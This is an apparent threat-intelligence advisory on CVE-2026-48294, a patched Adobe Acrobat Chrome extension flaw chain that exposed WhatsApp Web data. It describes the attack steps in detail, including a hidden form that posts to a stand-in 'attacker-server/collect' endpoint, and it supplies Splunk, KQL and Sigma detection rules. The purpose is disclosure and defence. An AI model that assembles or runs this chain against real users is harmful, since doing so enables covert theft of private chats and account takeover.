# CVE-2026-48294 ("HermeticReader"): Adobe Acrobat Chrome Extension Flaw Chain Enables Silent WhatsApp Web Data Theft

> A chained set of flaws in the Adobe Acrobat PDF Extension for Chrome (extension ID efaidnbmnnnibpcajpcglclefindmkaj, ~314-329M installs) let any attacker-controlled webpage forge internal extension messages, activate the dormant "Hermes" WhatsApp-integration engine via an unauthenticated feature-flag write, predict the numeric Chrome tab ID of a background WhatsApp Web tab, and inject a hidden POST form that relocates WhatsApp's live DOM into a value-less <option> element so submitting the form exfiltrates the entire rendered chat list, contacts, profile name and message previews to an attacker server. Guardio Labs (researcher Shaked Biner) used a custom agentic-AI reverse-engineering harness to find and fully weaponize the chain in roughly 4 hours of the vulnerable build shipping on June 3, 2026; Adobe patched the same weekend in version 26.5.2.3 and CVE-2026-48294 was assigned days later. No active exploitation has been confirmed.

- **Published:** 2026-07-22T00:00:00Z
- **Last reviewed:** 2026-07-25T13:06:47.695Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1637
- **Card image:** https://intel.threadlinqs.com/og/threat/threat-intel-hermeticreader-adobe-acrobat-whatsapp-tl-2026-1637.webp?v=38f212dd (Threadlinqs threat intel: CVE-2026-48294 Adobe HermeticReader: Detection & IOCs (TL-2026-1637) — High severity, 24 IOCs, 9 detection rules.)
- **ID:** TL-2026-1637
- **Severity:** HIGH (CVSS 7.4)
- **Category:** VULNERABILITY
- **Status:** PATCHED
- **Detections:** 9 (1 shown free below) · **IOCs:** 24
- **CVEs:** CVE-2026-48294

## Description

On June 3, 2026, Adobe shipped Adobe Acrobat PDF Extension for Chrome version 26.5.2.1, which introduced a new WhatsApp Web integration feature codenamed "Hermes" that was intended to ship dormant behind a feature flag. Guardio Labs' automated extension-analysis pipeline — which unpacks every new release, de-obfuscates the extension's ~344 JavaScript files, and diffs the code against previously mapped flows including a 138-case service-worker message dispatcher — flagged the new Hermes code paths and a researcher (Shaked Biner) manually chained them into a full, zero-click, zero-malware account-data-theft exploit within about four hours.

The attack composes five separate "unremarkable" engineering shortcuts into a systemic compromise:

1. Web-accessible-resource exposure: the extension manifest exposes internal pages (frame.html, searchWidget.html, signInHandler.html) as web-accessible resources matching <all_urls>, so ANY attacker webpage can load them in a hidden iframe. frame.js parses a JSON blob directly out of the iframe's URL query string and relays it via chrome.runtime.sendMessage() as a message with main_op = "relay_to_content".

2. Missing sender verification: the background service worker's message dispatcher (sw_modules/common.js, onMessageListener(t, s, r)) never validates the `sender` argument, so a message relayed from the attacker's hidden iframe is treated as if it came from a trusted internal extension surface. A "setItem" message type writes arbitrary key/value pairs into chrome.storage.local with no allowlist.

3. Feature-flag abuse: writing the key floodgate-add with value "dc-cv-hermes" into local storage (via floodgate.js -> updateLocalFeatureFlags()) activates the dormant Hermes WhatsApp integration engine for the victim's browser, giving the attacker a live command dispatcher into any WhatsApp Web tab.

4. Predictable Tab ID: the attacker first bypasses a broken domain-prefix check (`new URL(location).host.startsWith("www.google.")`, satisfied by a domain such as www.google.attacker-domain.com) to trigger a "frictionless" search-overlay flow that stamps the attacker's own real numeric Chrome tabId into a service-worker response. Because Chrome assigns tab IDs from a monotonically increasing counter, the attacker then opens https://web.whatsapp.com via window.open() and predicts its tabId as attacker_tabId + 1 — turning what would be a blind 10-digit search into a single guess. A second sender-forgery bug in communicate.js (when a message sets `mimeHandled: true`, the handler executes `i.tab = { id: t.tabId, url: t.url }` using the attacker-supplied tabId, then `t.tabId = i.tab.id`) lets the attacker route Hermes commands to that predicted WhatsApp tab.

5. Command-driven DOM exfiltration: the WhatsApp-side content script (content_scripts/hermes/hermes-content-script.js) never validates message sender and dispatches to message-handler.js's handleCdnMessage(), which exposes four command types with no allowlisting on method names or targets: APPEND_HTML_TO_TARGET (arbitrary HTML injection — usable to swap WhatsApp's login QR code for an attacker QR, enabling full account takeover), ELEMENT_OPERATION (arbitrary DOM method invocation such as setAttribute/appendChild/submit), WINDOW_OPERATION (arbitrary window-object calls such as fetch/open/postMessage, enabling credentialed cross-origin requests as web.whatsapp.com), and RELAY_MESSAGE_TO_SERVICE_WORKER (pivots back through the unvalidated service worker).

The actual data theft never executes attacker JavaScript inside WhatsApp — it never needs to, because WhatsApp's Content-Security-Policy enforces script-src 'self' with no unsafe-eval, but has no form-action directive at all. Using only APPEND_HTML_TO_TARGET and ELEMENT_OPERATION primitives, the attacker (1) injects a hidden <form action="https://attacker-server/collect" method="POST"> containing a <select><option> with no value attribute, (2) tags WhatsApp's live <body> element with a data-hermes-id attribute, (3) uses an appendChild ELEMENT_OPERATION to physically relocate the entire live body node inside the option element, and (4) programmatically submits the form. Per the HTML specification, a value-less <option> submits its rendered text content, so FormData(form).get("dom") equals the complete rendered WhatsApp page text — chat list, contact names, message previews, the open conversation, and any OTP codes visible in the DOM — which the browser then POSTs cross-origin to the attacker's server because no form-action CSP restriction blocks it. The chain is repeatable, allowing continuous re-capture as new WhatsApp messages render.

No malware, phishing, credential theft, session-cookie theft, or Adobe account is required; the only prerequisite is that the victim (with the vulnerable Adobe Acrobat extension installed) visits any attacker-controlled webpage. Guardio disclosed to Adobe PSIRT and Adobe acknowledged, fixed, and shipped version 26.5.2.3 within the same weekend; CVE-2026-48294 was formally assigned days later with an NVD-published CVSS v3.1 base score of 7.4 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N) under CWE-79 (Improper Neutralization of Input During Web Page Generation, i.e. Universal Cross-Site Scripting). Guardio's own writeup argues the real-world impact is closer to full account compromise given the QR-code-swap takeover path. As of reporting, Guardio principal researcher Nati Tal told BleepingComputer they have seen no indication of active in-the-wild exploitation.

## MITRE ATT&CK

- T1189 Drive-by Compromise
- T1546.016 Installer Packages
- T1204.001 User Execution: Malicious Link
- T1176 Software Extensions
- T1685 Disable or Modify Tools
- T1112 Modify Registry
- T1211 Exploitation for Stealth
- T1539 Steal Web Session Cookie
- T1111 Multi-Factor Authentication Interception
- T1217 Browser Information Discovery
- T1005 Data from Local System
- T1185 Browser Session Hijacking
- T1213 Data from Information Repositories
- T1071.001 Application Layer Protocol: Web Protocols
- T1567 Exfiltration Over Web Service
- T1041 Exfiltration Over C2 Channel
- T1531 Account Access Removal
- T1518 Software Discovery
- T1560 Archive Collected Data
- T1686.001 Cloud Firewall

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**HermeticReader — Value-less <option> Form-Submission DOM Exfiltration From web.whatsapp.com** (`TL-2026-1637-SPL-003`)

Detects the C2/exfiltration finale of the HermeticReader chain: a programmatic cross-origin POST originating from the web.whatsapp.com context (no matching user-click/navigation event) to a destination host outside WhatsApp's own domains, consistent with the ELEMENT_OPERATION-driven relocation of WhatsApp's live DOM into a value-less <select><option> and subsequent form.submit(), exfiltrating the full rendered chat list, contacts, and message previews.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1567, T1071.001, T1005, T1213, T1185
- **Data sources:** web_proxy_logs, DeviceNetworkEvents (Microsoft Defender for Endpoint)
- **Severity:** critical
- **Confidence:** high

### Splunk SPL

```spl
index=web sourcetype=proxy http_method=POST http_referrer="*web.whatsapp.com*"
| where NOT match(dest_host, "(?i)\.whatsapp\.(net|com)$")
| eval has_click_event=coalesce(has_click_event,"false")
| where has_click_event="false"
| stats count min(_time) as first_seen values(dest_host) as dest_hosts values(bytes_out) as bytes_out by src_ip, user
| where count > 0
| eval first_seen=strftime(first_seen,"%Y-%m-%d %H:%M:%S")
```

### Microsoft KQL

```kql
DeviceNetworkEvents
| where TimeGenerated > ago(24h)
| where InitiatingProcessAdditionalFields has "web.whatsapp.com" or RemoteUrl has "web.whatsapp.com"
| where ActionType == "HttpPost" or Protocol == "Http"
| where not(RemoteUrl has ".whatsapp.net" or RemoteUrl has ".whatsapp.com")
| extend HasClickEvent = tostring(parse_json(InitiatingProcessAdditionalFields).has_click_event)
| where HasClickEvent != "true"
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, RemoteUrl, RemoteIP
| summarize Count=count(), FirstSeen=min(TimeGenerated), Destinations=make_set(RemoteUrl) by DeviceName, InitiatingProcessAccountName
| order by Count desc
```

### Sigma

```yaml
title: Cross-Origin Form POST Immediately Following Chrome Extension DOM ELEMENT_OPERATION on WhatsApp Web
id: 8a1b6f2e-0003-4a1a-9c1e-hermeticreader03
status: experimental
description: Detects a programmatic cross-origin POST from the web.whatsapp.com context to a non-WhatsApp destination with no user-click event, matching the value-less-option DOM-exfiltration primitive used by HermeticReader (CVE-2026-48294) to steal the full rendered WhatsApp Web DOM.
references:
    - https://guard.io/labs/hermeticreader---the-vulnerability-that-turned-adobe-300m-install-extension-into-a-full-whatsapp-takeover
author: Threadlinqs Team
date: 2026-07-22
tags:
    - attack.exfiltration
    - attack.collection
    - attack.command_and_control
    - attack.t1567
    - attack.t1071.001
    - attack.t1005
    - attack.t1213
    - attack.t1185
    - cve.2026.48294
logsource:
    category: proxy
    product: browser_network_telemetry
detection:
    selection_referrer:
        http_referrer|contains: 'web.whatsapp.com'
    selection_method:
        http_method: 'POST'
    filter_known_good:
        dest_host|endswith: '.whatsapp.net'
    filter_user_click:
        has_click_event: 'true'
    condition: selection_referrer and selection_method and not filter_known_good and not filter_user_click
falsepositives:
    - Legitimate WhatsApp Web third-party integrations or browser extensions that perform authorized cross-origin POSTs (rare; verify against an allowlist of known-good destination hosts)
level: high
```

**Known false positives:**

- Legitimate WhatsApp Web third-party integrations or browser extensions performing authorized cross-origin POSTs; validate against a destination-host allowlist

**Tuning notes:** Maintain an allowlist of legitimate WhatsApp Web integration endpoints to suppress benign cross-origin POSTs; if has_click_event / user-gesture telemetry isn't available, weight this detection lower and require correlation with TL-2026-1637-SPL-002/KQL-002 before alerting at critical severity.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- HermeticReader — Extension Iframe-Relay Message to Unauthenticated Service-Worker Dispatcher (locked: unlock with TL Creds)
- HermeticReader — Predictable Chrome TabID Correlated to Feature-Flag Activation (locked: unlock with TL Creds)
- HermeticReader — Extension Content-Script Command Dispatch ([indicator] / [indicator] / [indicator]) on Unpermissioned Tab (locked: unlock with TL Creds)
- HermeticReader — Suspicious Extension Query-String JSON Payload (Sigma) (locked: unlock with TL Creds)
- HermeticReader — Feature-Flag Storage Write Sigma Rule (locked: unlock with TL Creds)
- HermeticReader — WhatsApp Web Session Data Exfiltration Sigma Rule (locked: unlock with TL Creds)
- HermeticReader — Web-Accessible-Resource Loaded With Serialized JSON Query-String Payload (locked: unlock with TL Creds)
- HermeticReader — Unauthenticated Feature-Flag Storage Write Activates Dormant Hermes Engine (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sources

- [Adobe Acrobat Chrome extension bug enabled silent WhatsApp data theft](https://securityaffairs.com/195805/hacking/adobe-acrobat-chrome-extension-bug-enabled-silent-whatsapp-data-theft.html)
- ["HermeticReader": The Vulnerability That Turned Adobe's 300M-Install Extension Into a Full WhatsApp Takeover](https://guard.io/labs/hermeticreader---the-vulnerability-that-turned-adobe-300m-install-extension-into-a-full-whatsapp-takeover)
- [Adobe Acrobat Extension Flaw Let Malicious Sites Read WhatsApp Web Data](https://thehackernews.com/2026/07/adobe-acrobat-extension-flaw-let.html)
- [Adobe Chrome extension flaw let sites access private WhatsApp chats](https://www.bleepingcomputer.com/news/security/adobe-chrome-extension-flaw-let-sites-access-private-whatsapp-chats/)
- [Adobe Acrobat Extension Flaw Lets Attackers Steal WhatsApp Chats From 329 Million Users](https://cybersecuritynews.com/acrobat-extension-flaw-whatsapp-chats/)
- [Adobe fixes Chrome extension flaw that could expose WhatsApp chats](https://cyberinsider.com/adobe-fixes-chrome-extension-flaw-that-could-expose-whatsapp-chats/)
- [CVE-2026-48294: Adobe Acrobat XSS Vulnerability](https://www.sentinelone.com/vulnerability-database/cve-2026-48294/)
- [NVD - CVE-2026-48294](https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-48294)
- [Adobe Acrobat PDF Edit, Convert, Sign tools - Chrome Web Store listing](https://chromewebstore.google.com/detail/adobe-acrobat-pdf-edit-co/efaidnbmnnnibpcajpcglclefindmkaj)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-1637
